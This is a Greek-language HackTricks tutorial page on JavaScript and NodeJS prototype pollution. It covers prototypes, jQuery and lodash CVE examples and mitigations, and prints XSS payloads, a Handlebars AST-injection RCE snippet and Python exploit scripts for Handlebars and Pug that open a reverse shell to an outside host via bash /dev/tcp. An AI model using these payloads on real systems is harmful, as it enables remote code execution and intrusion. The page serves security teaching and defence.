NodeJS - __proto__ & prototype Pollution

Reading time: 13 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Αντικείμενα στην JavaScript

Τα αντικείμενα στην JavaScript είναι ουσιαστικά συλλογές ζευγών κλειδιού-τιμής, γνωστές ως ιδιότητες. Ένα αντικείμενο μπορεί να δημιουργηθεί χρησιμοποιώντας Object.create με null ως επιχείρημα για να παραχθεί ένα κενό αντικείμενο. Αυτή η μέθοδος επιτρέπει τη δημιουργία ενός αντικειμένου χωρίς καμία κληρονομούμενη ιδιότητα.

javascript
// Run this in the developers tools console
console.log(Object.create(null)) // This will output an empty object.

Ένα κενό αντικείμενο είναι παρόμοιο με ένα κενό λεξικό, που αναπαρίσταται ως {}.

Συναρτήσεις και Κλάσεις στην JavaScript

Στην JavaScript, οι κλάσεις και οι συναρτήσεις είναι στενά συνδεδεμένες, με τις συναρτήσεις συχνά να λειτουργούν ως κατασκευαστές για κλάσεις. Παρά την έλλειψη εγγενών υποστηρίξεων κλάσης στην JavaScript, οι κατασκευαστές μπορούν να μιμούνται τη συμπεριφορά κλάσης.

javascript
// Run this in the developers tools console

function Employee(name, position) {
this.name = name
this.position = position
this.introduce = function () {
return "My name is " + this.name + " and I work as a " + this.position + "."
}
}

Employee.prototype

var employee1 = new Employee("Generic Employee", "Developer")

employee1.__proto__

Prototypes in JavaScript

Η JavaScript επιτρέπει την τροποποίηση, προσθήκη ή διαγραφή χαρακτηριστικών πρωτοτύπου κατά την εκτέλεση. Αυτή η ευελιξία επιτρέπει τη δυναμική επέκταση των λειτουργιών της κλάσης.

Συναρτήσεις όπως toString και valueOf μπορούν να τροποποιηθούν για να αλλάξουν τη συμπεριφορά τους, αποδεικνύοντας τη προσαρμοστική φύση του συστήματος πρωτοτύπων της JavaScript.

Inheritance

Στον προγραμματισμό βασισμένο σε πρωτότυπα, οι ιδιότητες/μέθοδοι κληρονομούνται από αντικείμενα από κλάσεις. Αυτές οι κλάσεις δημιουργούνται προσθέτοντας ιδιότητες/μεθόδους είτε σε μια παρουσία άλλης κλάσης είτε σε ένα κενό αντικείμενο.

Πρέπει να σημειωθεί ότι όταν μια ιδιότητα προστεθεί σε ένα αντικείμενο που χρησιμεύει ως πρωτότυπο για άλλα αντικείμενα (όπως το myPersonObj), τα κληρονομικά αντικείμενα αποκτούν πρόσβαση σε αυτή τη νέα ιδιότητα. Ωστόσο, αυτή η ιδιότητα δεν εμφανίζεται αυτόματα εκτός αν κληθεί ρητά.

__proto__ pollution

Exploring Prototype Pollution in JavaScript

Τα αντικείμενα JavaScript ορίζονται από ζεύγη κλειδιού-τιμής και κληρονομούν από το πρωτότυπο του αντικειμένου JavaScript. Αυτό σημαίνει ότι η τροποποίηση του πρωτοτύπου του αντικειμένου μπορεί να επηρεάσει όλα τα αντικείμενα στο περιβάλλον.

Ας χρησιμοποιήσουμε ένα διαφορετικό παράδειγμα για να το απεικονίσουμε:

javascript
function Vehicle(model) {
this.model = model
}
var car1 = new Vehicle("Tesla Model S")

Η πρόσβαση στο πρωτότυπο του αντικειμένου είναι δυνατή μέσω:

javascript
car1.__proto__.__proto__
Vehicle.__proto__.__proto__

Με την προσθήκη ιδιοτήτων στο πρωτότυπο του Object, κάθε αντικείμενο JavaScript θα κληρονομήσει αυτές τις νέες ιδιότητες:

javascript
function Vehicle(model) {
this.model = model
}
var car1 = new Vehicle("Tesla Model S")
// Adding a method to the Object prototype
car1.__proto__.__proto__.announce = function () {
console.log("Beep beep!")
}
car1.announce() // Outputs "Beep beep!"
// Adding a property to the Object prototype
car1.__proto__.__proto__.isVehicle = true
console.log(car1.isVehicle) // Outputs true

prototype pollution

Για ένα σενάριο όπου η χρήση του __proto__ είναι περιορισμένη, η τροποποίηση του πρωτοτύπου μιας συνάρτησης είναι μια εναλλακτική:

javascript
function Vehicle(model) {
this.model = model
}
var car1 = new Vehicle("Tesla Model S")
// Adding properties to the Vehicle prototype
Vehicle.prototype.beep = function () {
console.log("Beep beep!")
}
car1.beep() // Now works and outputs "Beep beep!"
Vehicle.prototype.hasWheels = true
console.log(car1.hasWheels) // Outputs true

// Alternate method
car1.constructor.prototype.honk = function () {
console.log("Honk!")
}
car1.constructor.prototype.isElectric = true

Αυτό επηρεάζει μόνο τα αντικείμενα που δημιουργούνται από τον κατασκευαστή Vehicle, δίνοντάς τους τις ιδιότητες beep, hasWheels, honk και isElectric.

Δύο μέθοδοι για να επηρεάσουν παγκοσμίως τα αντικείμενα JavaScript μέσω της ρύπανσης πρωτοτύπου περιλαμβάνουν:

  1. Ρύπανση του Object.prototype απευθείας:
javascript
Object.prototype.goodbye = function () {
console.log("Goodbye!")
}
  1. Μόλυνση του πρωτοτύπου ενός κατασκευαστή για μια κοινώς χρησιμοποιούμενη δομή:
javascript
var example = { key: "value" }
example.constructor.prototype.greet = function () {
console.log("Hello!")
}

Μετά από αυτές τις λειτουργίες, κάθε αντικείμενο JavaScript μπορεί να εκτελέσει τις μεθόδους goodbye και greet.

Μόλυνση άλλων αντικειμένων

Από μια κλάση στο Object.prototype

Σε ένα σενάριο όπου μπορείτε να μολύνετε ένα συγκεκριμένο αντικείμενο και χρειάζεστε να φτάσετε στο Object.prototype, μπορείτε να το αναζητήσετε με κάτι σαν τον παρακάτω κώδικα:

javascript
// From https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/

// Search from "window" object
for (let key of Object.getOwnPropertyNames(window)) {
if (window[key]?.constructor.prototype === Object.prototype) {
console.log(key)
}
}

// Imagine that the original object was document.querySelector('a')
// With this code you could find some attributes to get the object "window" from that one
for (let key1 in document.querySelector("a")) {
for (let key2 in document.querySelector("a")[key1]) {
if (document.querySelector("a")[key1][key2] === window) {
console.log(key1 + "." + key2)
}
}
}

Ρύπανση στοιχείων πίνακα

Σημειώστε ότι καθώς μπορείτε να ρυπάνετε τις ιδιότητες των αντικειμένων σε JS, αν έχετε πρόσβαση για να ρυπάνετε έναν πίνακα μπορείτε επίσης να ρυπάνετε τις τιμές του πίνακα που είναι προσβάσιμες μέσω δεικτών (σημειώστε ότι δεν μπορείτε να αντικαταστήσετε τιμές, οπότε πρέπει να ρυπάνετε δείκτες που χρησιμοποιούνται με κάποιον τρόπο αλλά δεν γράφονται).

javascript
c = [1, 2]
a = []
a.constructor.prototype[1] = "yolo"
b = []
b[0] //undefined
b[1] //"yolo"
c[1] // 2 -- not

Html elements pollution

Όταν δημιουργείτε ένα HTML στοιχείο μέσω JS, είναι δυνατόν να επικαλύψετε την innerHTML ιδιότητα για να το κάνετε να γράφει τυχαίο HTML κώδικα. Idea and example from this writeup.

javascript
// Create element
devSettings["root"] = document.createElement('main')

// Pollute innerHTML
settings[root][innerHTML]=<"svg onload=alert(1)>"

// Pollute innerHTML of the ownerProperty to avoid overwrites of innerHTML killing the payload
settings[root][ownerDocument][body][innerHTML]="<svg onload=alert(document.domain)>"

Παραδείγματα

Βασικό Παράδειγμα

Μια ρύπανση πρωτοτύπου συμβαίνει λόγω ενός σφάλματος στην εφαρμογή που επιτρέπει την επαναγραφή ιδιοτήτων στο Object.prototype. Αυτό σημαίνει ότι καθώς οι περισσότερες αντικείμενα αντλούν τις ιδιότητές τους από το Object.prototype

Το πιο απλό παράδειγμα είναι να προσθέσετε μια τιμή σε μια μη καθορισμένη ιδιότητα ενός αντικειμένου που πρόκειται να ελεγχθεί, όπως:

javascript
if (user.admin) {

Αν το χαρακτηριστικό admin είναι μη καθορισμένο είναι δυνατόν να εκμεταλλευτείτε ένα PP και να το ορίσετε σε True με κάτι σαν:

javascript
Object.prototype.isAdmin = true
let user = {}
user.isAdmin // true

Ο μηχανισμός πίσω από αυτό περιλαμβάνει την παραποίηση ιδιοτήτων έτσι ώστε αν ένας επιτιθέμενος έχει έλεγχο σε ορισμένες εισόδους, να μπορεί να τροποποιήσει το πρωτότυπο όλων των αντικειμένων στην εφαρμογή. Αυτή η παραποίηση συνήθως περιλαμβάνει την ρύθμιση της ιδιότητας __proto__, η οποία, στην JavaScript, είναι συνώνυμη με την άμεση τροποποίηση του πρωτοτύπου ενός αντικειμένου.

Οι συνθήκες υπό τις οποίες αυτή η επίθεση μπορεί να εκτελεστεί με επιτυχία, όπως περιγράφεται σε μια συγκεκριμένη μελέτη, περιλαμβάνουν:

  • Εκτέλεση αναδρομικής συγχώνευσης.
  • Ορισμός ιδιοτήτων με βάση μια διαδρομή.
  • Κλωνοποίηση αντικειμένων.

Override function

python
customer.__proto__.toString = ()=>{alert("polluted")}

Proto Pollution to RCE

Prototype Pollution to RCE

Άλλες payloads:

Client-side prototype pollution to XSS

Client Side Prototype Pollution

CVE-2019–11358: Επίθεση πρωτοτύπου μέσω jQuery $ .extend

Για περισσότερες λεπτομέρειες δείτε αυτό το άρθρο Στην jQuery, η συνάρτηση $ .extend μπορεί να οδηγήσει σε ρύπανση πρωτοτύπου αν η δυνατότητα βαθιάς αντιγραφής χρησιμοποιηθεί λανθασμένα. Αυτή η συνάρτηση χρησιμοποιείται συνήθως για την κλωνοποίηση αντικειμένων ή τη συγχώνευση ιδιοτήτων από ένα προεπιλεγμένο αντικείμενο. Ωστόσο, όταν είναι λανθασμένα ρυθμισμένη, οι ιδιότητες που προορίζονται για ένα νέο αντικείμενο μπορούν να ανατεθούν στο πρωτότυπο αντί αυτού. Για παράδειγμα:

javascript
$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'))
console.log({}.devMode) // Outputs: true

Αυτή η ευπάθεια, που αναγνωρίστηκε ως CVE-2019–11358, δείχνει πώς μια βαθιά αντιγραφή μπορεί να τροποποιήσει κατά λάθος το πρωτότυπο, οδηγώντας σε πιθανούς κινδύνους ασφαλείας, όπως μη εξουσιοδοτημένη πρόσβαση διαχειριστή αν οι ιδιότητες όπως το isAdmin ελέγχονται χωρίς κατάλληλη επαλήθευση ύπαρξης.

CVE-2018–3721, CVE-2019–10744: Επίθεση ρύθμισης πρωτοτύπου μέσω lodash

Για περισσότερες λεπτομέρειες ελέγξτε αυτό το άρθρο

Lodash αντιμετώπισε παρόμοιες ευπάθειες ρύθμισης πρωτοτύπου (CVE-2018–3721, CVE-2019–10744). Αυτά τα ζητήματα επιλύθηκαν στην έκδοση 4.17.11.

Ένα άλλο σεμινάριο με CVEs

Εργαλεία για την ανίχνευση ρύθμισης πρωτοτύπου

  • Server-Side-Prototype-Pollution-Gadgets-Scanner: Επέκταση του Burp Suite σχεδιασμένη για την ανίχνευση και ανάλυση ευπαθειών ρύθμισης πρωτοτύπου στην πλευρά του διακομιστή σε διαδικτυακές εφαρμογές. Αυτό το εργαλείο αυτοματοποιεί τη διαδικασία σάρωσης αιτημάτων για την αναγνώριση πιθανών ζητημάτων ρύθμισης πρωτοτύπου. Εκμεταλλεύεται γνωστά gadgets - μεθόδους εκμετάλλευσης της ρύθμισης πρωτοτύπου για την εκτέλεση επιβλαβών ενεργειών - εστιάζοντας ιδιαίτερα σε βιβλιοθήκες Node.js.
  • server-side-prototype-pollution: Αυτή η επέκταση αναγνωρίζει ευπάθειες ρύθμισης πρωτοτύπου στην πλευρά του διακομιστή. Χρησιμοποιεί τεχνικές που περιγράφονται στην ρύθμιση πρωτοτύπου στην πλευρά του διακομιστή.

AST Prototype Pollution στο NodeJS

Το NodeJS χρησιμοποιεί εκτενώς τα Abstract Syntax Trees (AST) στη JavaScript για λειτουργίες όπως οι μηχανές προτύπων και το TypeScript. Αυτή η ενότητα εξερευνά τις ευπάθειες που σχετίζονται με τη ρύθμιση πρωτοτύπου σε μηχανές προτύπων, συγκεκριμένα στις Handlebars και Pug.

Ανάλυση Ευπάθειας Handlebars

Η μηχανή προτύπων Handlebars είναι ευάλωτη σε επίθεση ρύθμισης πρωτοτύπου. Αυτή η ευπάθεια προκύπτει από συγκεκριμένες συναρτήσεις μέσα στο αρχείο javascript-compiler.js. Η συνάρτηση appendContent, για παράδειγμα, συνενώνει το pendingContent αν είναι παρόν, ενώ η συνάρτηση pushSource επαναφέρει το pendingContent σε undefined μετά την προσθήκη της πηγής.

Διαδικασία Εκμετάλλευσης

Η εκμετάλλευση εκμεταλλεύεται το AST (Abstract Syntax Tree) που παράγεται από τις Handlebars, ακολουθώντας τα εξής βήματα:

  1. Manipulation of the Parser: Αρχικά, ο αναλυτής, μέσω του κόμβου NumberLiteral, επιβάλλει ότι οι τιμές είναι αριθμητικές. Η ρύθμιση πρωτοτύπου μπορεί να παρακάμψει αυτό, επιτρέποντας την εισαγωγή μη αριθμητικών συμβολοσειρών.
  2. Handling by the Compiler: Ο μεταγλωττιστής μπορεί να επεξεργαστεί ένα αντικείμενο AST ή ένα πρότυπο συμβολοσειράς. Αν το input.type ισούται με Program, η είσοδος αντιμετωπίζεται ως προ-αναλυμένη, κάτι που μπορεί να εκμεταλλευτεί.
  3. Injection of Code: Μέσω της χειραγώγησης του Object.prototype, μπορεί κανείς να εισάγει αυθαίρετο κώδικα στη συνάρτηση προτύπου, κάτι που μπορεί να οδηγήσει σε απομακρυσμένη εκτέλεση κώδικα.

Ένα παράδειγμα που δείχνει την εκμετάλλευση της ευπάθειας Handlebars:

javascript
const Handlebars = require("handlebars")

Object.prototype.type = "Program"
Object.prototype.body = [
{
type: "MustacheStatement",
path: 0,
params: [
{
type: "NumberLiteral",
value:
"console.log(process.mainModule.require('child_process').execSync('id').toString())",
},
],
loc: {
start: 0,
end: 0,
},
},
]

const source = `Hello {{ msg }}`
const template = Handlebars.precompile(source)

console.log(eval("(" + template + ")")["main"].toString())

Αυτός ο κώδικας δείχνει πώς ένας επιτιθέμενος θα μπορούσε να εισάγει αυθαίρετο κώδικα σε ένα πρότυπο Handlebars.

Εξωτερική Αναφορά: Ένα ζήτημα που σχετίζεται με τη ρύπανση πρωτοτύπου βρέθηκε στη βιβλιοθήκη 'flat', όπως αναλύεται εδώ: Issue on GitHub.

Εξωτερική Αναφορά: Issue related to prototype pollution in the 'flat' library

Παράδειγμα εκμετάλλευσης ρύπανσης πρωτοτύπου σε Python:

python
import requests

TARGET_URL = 'http://10.10.10.10:9090'

# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.type": "Program",
"__proto__.body": [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}],
"loc": {
"start": 0,
"end": 0
}
}]
})

# execute
requests.get(TARGET_URL)

Pug Vulnerability

Το Pug, μια άλλη μηχανή προτύπων, αντιμετωπίζει παρόμοιο κίνδυνο μόλυνσης πρωτοτύπων. Λεπτομερείς πληροφορίες είναι διαθέσιμες στη συζήτηση για την AST Injection in Pug.

Example of prototype pollution in Pug:

python
import requests

TARGET_URL = 'http://10.10.10.10:9090'

# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}
})

# execute
requests.get(TARGET_URL)

Προληπτικά Μέτρα

Για να μειωθεί ο κίνδυνος μόλυνσης του πρωτοτύπου, μπορούν να εφαρμοστούν οι παρακάτω στρατηγικές:

  1. Αμεταβλητότητα Αντικειμένων: Το Object.prototype μπορεί να γίνει αμετάβλητο εφαρμόζοντας το Object.freeze.
  2. Επικύρωση Εισόδου: Οι εισροές JSON θα πρέπει να επικυρώνονται αυστηρά σύμφωνα με το σχήμα της εφαρμογής.
  3. Ασφαλείς Συναρτήσεις Συγχώνευσης: Η μη ασφαλής χρήση αναδρομικών συναρτήσεων συγχώνευσης θα πρέπει να αποφεύγεται.
  4. Αντικείμενα Χωρίς Πρωτότυπα: Αντικείμενα χωρίς ιδιότητες πρωτοτύπου μπορούν να δημιουργηθούν χρησιμοποιώντας το Object.create(null).
  5. Χρήση Map: Αντί για το Object, θα πρέπει να χρησιμοποιείται το Map για την αποθήκευση ζευγών κλειδιού-τιμής.
  6. Ενημερώσεις Βιβλιοθηκών: Οι ενημερώσεις ασφαλείας μπορούν να ενσωματωθούν με την τακτική ενημέρωση των βιβλιοθηκών.
  7. Εργαλεία Linter και Στατικής Ανάλυσης: Χρησιμοποιήστε εργαλεία όπως το ESLint με κατάλληλα πρόσθετα για την ανίχνευση και πρόληψη ευπαθειών μόλυνσης του πρωτοτύπου.
  8. Ανασκοπήσεις Κώδικα: Εφαρμόστε λεπτομερείς ανασκοπήσεις κώδικα για να εντοπίσετε και να διορθώσετε πιθανούς κινδύνους που σχετίζονται με τη μόλυνση του πρωτοτύπου.
  9. Εκπαίδευση Ασφαλείας: Εκπαιδεύστε τους προγραμματιστές σχετικά με τους κινδύνους της μόλυνσης του πρωτοτύπου και τις βέλτιστες πρακτικές για τη συγγραφή ασφαλούς κώδικα.
  10. Χρήση Βιβλιοθηκών με Προσοχή: Να είστε προσεκτικοί κατά τη χρήση τρίτων βιβλιοθηκών. Αξιολογήστε τη θέση ασφαλείας τους και ανασκοπήστε τον κώδικά τους, ειδικά εκείνες που χειρίζονται αντικείμενα.
  11. Προστασία σε Χρόνο Εκτέλεσης: Εφαρμόστε μηχανισμούς προστασίας σε χρόνο εκτέλεσης, όπως η χρήση πακέτων npm που εστιάζουν στην ασφάλεια και μπορούν να ανιχνεύσουν και να αποτρέψουν επιθέσεις μόλυνσης του πρωτοτύπου.

Αναφορές

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks